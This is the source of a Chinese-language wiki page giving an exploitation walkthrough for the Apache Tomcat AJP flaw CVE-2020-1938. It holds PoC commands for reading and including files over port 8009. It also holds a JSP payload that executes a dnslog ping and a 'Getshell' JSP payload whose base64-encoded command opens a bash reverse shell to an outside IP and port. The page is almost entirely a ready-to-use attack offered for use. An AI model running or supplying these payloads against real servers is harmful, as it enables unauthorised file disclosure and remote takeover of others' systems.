View source for Tomcat文件包含及讀取漏洞（CVE-2020-1938）

==漏洞影響==
<pre>
    Apache Tomcat 9.x < 9.0.31
    Apache Tomcat 8.x < 8.5.51
    Apache Tomcat 7.x < 7.0.100
    Apache Tomcat 6.x
</pre>

==前提條件==
目標機器開啟AJP Connector 服務端口（默認開啟，為8009端口）。

==文件讀取&文件包含RCE==
文件讀取：
<pre>
python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 127.0.0.1
</pre>

文件包含：
<pre>
python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /test.txt 127.0.0.1
</pre>


test.txt:
<pre>
<%
	java.io.InputStream in = Runtime.getRuntime().exec("ping fiohed.dnslog.cn").getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	out.print("<pre>");
	while((a=in.read(b))!=-1){
		out.println(new String(b));
	}
	out.print("</!pre>");#去掉！
%>
</pre>



==Getshell==
shell.txt:
<pre>
<%
	java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	out.print("<pre>");
	while((a=in.read(b))!=-1){
		out.println(new String(b));
	}
	out.print("</!pre>"); #去掉!
%>
</pre>

==其他==
*反彈shell用的命令需要進行bash編碼
*在線bash編碼：http://www.jackson-t.ca/runtime-exec-payloads.html
*POC下載地址：https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read


==參考==
https://twitter.com/jas502n/status/1230531680999395328
https://forum.90sec.com/t/topic/801
https://www.svenbeast.com/post/fqSI9laE8/